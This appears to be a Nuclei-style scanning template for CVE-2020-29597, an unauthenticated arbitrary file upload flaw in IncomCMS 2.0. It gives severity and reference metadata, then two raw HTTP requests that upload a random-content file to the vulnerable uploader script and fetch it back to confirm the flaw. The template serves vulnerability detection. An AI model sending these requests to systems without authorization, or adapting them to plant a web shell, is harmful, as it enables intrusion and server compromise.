IncomCMS 2.0 - Arbitrary File Upload

id: CVE-2020-29597

info:
  name: IncomCMS 2.0 - Arbitrary File Upload
  author: princechaddha
  severity: critical
  description: |
    IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access, data leakage, and potential remote code execution.
  remediation: |
    Apply the latest security patch or update to a version that addresses the vulnerability.
  reference:
    - https://github.com/Trhackno/CVE-2020-29597
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29597
    - https://github.com/M4DM0e/m4dm0e.github.io/blob/gh-pages/_posts/2020-12-07-incom-insecure-up.md
    - https://m4dm0e.github.io/2020/12/07/incom-insecure-up.html
    - https://github.com/trhacknon/CVE-2020-29597
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29597
    cwe-id: CWE-434
    epss-score: 0.78448
    epss-percentile: 0.9817
    cpe: cpe:2.3:a:incomcms_project:incomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: incomcms_project
    product: incomcms
  tags: cve,cve2020,incomcms,fileupload,intrusive,incomcms_project

http:
  - raw:
      - |
        POST /incom/modules/uploader/showcase/script.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt

        ------WebKitFormBoundaryBEJZt0IK73M2mAbt
        Content-Disposition: form-data; name="Filedata"; filename="{{randstr_1}}.png"
        Content-Type: text/html

        {{randstr_2}}
        ------WebKitFormBoundaryBEJZt0IK73M2mAbt--
      - |
        GET /upload/userfiles/image/{{randstr_1}}.png HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '{"status":"1","name":"{{randstr_1}}.png"}'

      - type: word
        part: body_2
        words:
          - '{{randstr_2}}'
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